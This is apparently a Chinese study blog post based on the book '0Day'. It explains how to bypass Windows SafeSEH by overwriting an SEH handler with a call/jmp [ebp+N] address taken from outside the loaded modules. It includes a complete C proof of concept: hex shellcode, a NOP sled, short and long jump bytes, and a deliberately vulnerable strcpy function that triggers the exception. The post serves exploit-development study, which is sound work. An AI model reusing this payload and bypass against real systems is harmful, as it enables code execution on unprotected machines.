《0Day》之突破SafeSEHS

上一篇记录的通过虚函数突破GS,其实也可以通过SEH来突破GS,具体的原理和利用虚函数的方式类似,只是通过覆盖SEH异常处理函数地址来实现的,就不多说了。不过微软后来对SEH也做了防护,具体的做了哪些防护可以去看《0Day》。这里只记录突破SafeSEH的方式。

虽然微软对SEH做了防护,但也有例外,比如SEH中异常处理函数指针位于堆中,则不论是否通过安全校验,都会被调用,所以我们可以在堆中申请一块内存,然后把shellcode写入其中,最后把内存首地址覆盖掉SEH异常处理函数即可。这种方式比较简单,就不做过多的表述。

同时也可以通过未启用SafeSEH模块来绕过SafeSEH,这种方式也不做表述,这里主要记录利用加载模块之外的地址绕过SafeSEH。

所谓的利用加载模块之外的地址,就是利用一些其他的,被SafeSEH无视掉的映射文件中的地址来绕过它。这里我们查找call/jmp  [ebp + N] 这样的指令序列。在学习这种方式之前,一直不明白为啥通过call/jmp [ebp + N]这样的指令能达到效果,后来通过查找资料和调试发现,在发生异常时,[ebp + N]指向的恰好就是SEH结构中指向下一条记录指针的位置,就是SEH结构的前4字节,因此,我们可以把call/jmp  [ebp + N] 指令序列的地址覆盖掉异常处理函数指针,然后在指向下一条记录指针那做个跳转,但由于只有4个字节,因此我们在那里先布置个短跳转,往回跳几个字节,然后再布置个长跳转,跳到shellcode的起始位置即可。

下面先通过OllyFindAddr插件来查找指令序列,如下图


在结果中选择加载模块内存范围之外的指令,如下图


接下来就是缓冲区的布置了,需要用这个地址去覆盖异常处理函数,然后在SEH结构前4字节天上一个短跳转指令,回跳8字节,在回跳的8字节中布置一个长跳转,跳到shellcode起始地址即可,代码如下

#include "stdafx.h"
#include <string.h>

char shellcode[] = { 
	"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1"
	"\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
	"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33"
	"\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
	"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
	"\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
	"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B"
	"\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
	"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03"
	"\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
	"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
	"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
	"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB"
	"\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
	"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74"
	"\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
	"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\xE9\xEF\xFE\xFF\xFF\x90\x90\x90"
	"\xEB\xF6\x90\x90\x0B\x0B\x29\x00"
};

void test(char *src)
{
	char buf[200] = { 0 };
	strcpy(buf, src);
	int zero = 0;
	zero = 1 / zero;
}

int main()
{
	printf("OK\n");
	getchar();
//	char *buf = new char[210];
//	strcpy(buf, shellcode);
	test(shellcode);

    return 0;
}
编译好之后,放到xp下调试,修正地址和缓冲区的布置即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值